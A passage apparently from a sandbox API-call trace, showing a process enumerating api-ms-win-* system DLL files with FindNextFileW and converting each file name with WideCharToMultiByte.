lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0038.357] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.357] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x94c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0038.357] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x94c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0038.357] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x94c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0038.358] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x94c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0038.358] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x94c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0038.358] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x94c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0038.358] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.358] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.359] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.359] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0038.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x94c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0038.359] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0038.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x94c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0038.359] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x94c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0038.360] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.360] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x94c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0038.360] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x94c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0038.360] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x94c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0038.360] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x94c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0038.360] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x94c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0038.361] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x94c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0038.361] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 